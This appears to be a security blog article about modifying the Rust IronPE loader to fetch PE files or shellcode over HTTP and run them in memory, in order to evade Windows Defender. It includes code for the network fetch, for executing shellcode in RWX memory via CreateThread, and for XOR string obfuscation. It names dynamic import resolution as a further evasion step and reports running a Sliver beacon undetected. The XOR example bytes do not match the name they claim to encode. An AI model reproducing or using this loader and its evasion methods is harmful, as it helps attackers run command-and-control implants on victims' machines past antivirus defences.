Back to Home

IronPE: Bypass Defender via HTTP PE Loading

Modified IronPE on Rust loads PE files and shellcode via HTTP into memory, bypassing Windows Defender static detection. Uses dynamic imports, XOR obfuscation and legitimate API. Tested on Windows 11 with Sliver beacon.

Modifying IronPE: PE into Memory without Defender
Advertisement 728x90

IronPE Modification for In-Memory PE Loading to Bypass Defender

A modified version of IronPE enables loading PE files (EXE or DLL) via HTTP/HTTPS directly into memory, bypassing disk writes. This evades Windows Defender's static analysis by leaving no artifacts on the file system. The Rust implementation uses manual mapping with dynamic import resolution and string obfuscation.

IronPE was originally designed to demonstrate PE loading mechanisms without standard APIs like CreateProcess or LoadLibrary. This modification adds network-based payload loading and shellcode support while maintaining legitimate WinAPI calls.

Key Code Changes

HTTP Loading with reqwest

To retrieve the PE file from the network, a blocking reqwest client is integrated, featuring a browser-mimicking User-Agent and a 120-second timeout.

Google AdInline article slot
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
    let client = reqwest::blocking::Client::builder()
        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
        .timeout(std::time::Duration::from_secs(120))
        .build()?;
    let response = client.get(url).send()?;
    let bytes = response.bytes()?.to_vec();
    Ok(bytes)
}

Execution: ./ironpe --x64 http://server/payload.exe. Bytes are loaded into memory without saving to disk.

Shellcode Support

The --shellcode mode allocates RWX memory via VirtualAlloc and copies bytes there for direct execution. Suitable for stagers like Sliver.

"--shellcode" => {
    let bytes = read_file_or_url(&args[2])?;
    let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
    let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
    WaitForSingleObject(thread?, INFINITE);
}

Dynamic Import Resolution

The IAT is minimized: all functions (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) are resolved at runtime. There are no static references to injection or LSASS access, reducing detection.

Google AdInline article slot

String Obfuscation

DLL and function names are stored as XOR-encrypted bytes. Decryption occurs only during execution.

fn decrypt(s: &[u8], key: u8) -> String {
    s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);

Static Analysis Evasion Mechanisms

This technique works on Windows 11 25H2 with active Defender (real-time, cloud). Key factors:

  • No Disk: The payload (~30 MB Sliver beacon) is not saved.
  • Legitimate APIs: VirtualAlloc, LoadLibrary, etc. — standard for installers.
  • Empty IAT: Dynamics hide suspicious calls.
  • Rust: Rare in malware, fewer YARA rules.
  • Network Stage: The payload is unknown to the static scanner.

Advantages and Limitations

| Aspect | Original IronPE | Modification |

Google AdInline article slot

|--------|-----------------|-------------|

| Loading | Local file | HTTP/HTTPS |

| Shellcode | No | Yes, RWX |

| IAT | Partially dynamic | Fully dynamic |

| Strings | Plaintext | XOR obfuscation |

| Defender Detection | Possible | Static bypass |

In testing on a VPS with a Python server (port 8081), a Sliver session launched without Defender notifications.

Key Points:

  • Manual mapping + HTTP eliminates file signatures.
  • Dynamic imports minimize static footprint.
  • Rust reduces signature risk but not behavioral.
  • Requires refinement for EDR with AMSI/ETW monitoring.
  • For security research only.

— Editorial Team

Advertisement 728x90

Read Next